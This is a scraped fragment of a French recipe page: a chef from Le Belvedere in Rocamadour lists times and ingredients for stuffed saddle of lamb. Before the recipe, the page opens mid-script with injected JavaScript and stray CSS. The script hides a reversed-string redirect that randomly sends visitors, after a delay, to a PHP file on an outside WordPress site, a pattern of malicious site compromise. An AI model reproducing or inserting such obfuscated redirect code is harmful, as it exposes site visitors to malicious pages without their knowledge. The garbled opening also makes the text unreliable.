) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558806942189{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Christoffer BOOT, chef du restaurant « LE BELVEDERE » à Rocamadour – http://www.hotel-le-belvedere.fr
et membre des « Bonnes Tables du Lot »

Recette
Temps de préparation : 30 min

Temps de cuisson : 20 min

Ingrédient :
• Chair à saucisse – 300 g
• Roquette
• Oeuf X1
• Pignons de pins
• Jus d’agneau
• Sel & poivre
• Piment d’Espelette
• Selle d’Agneau 1,4 kg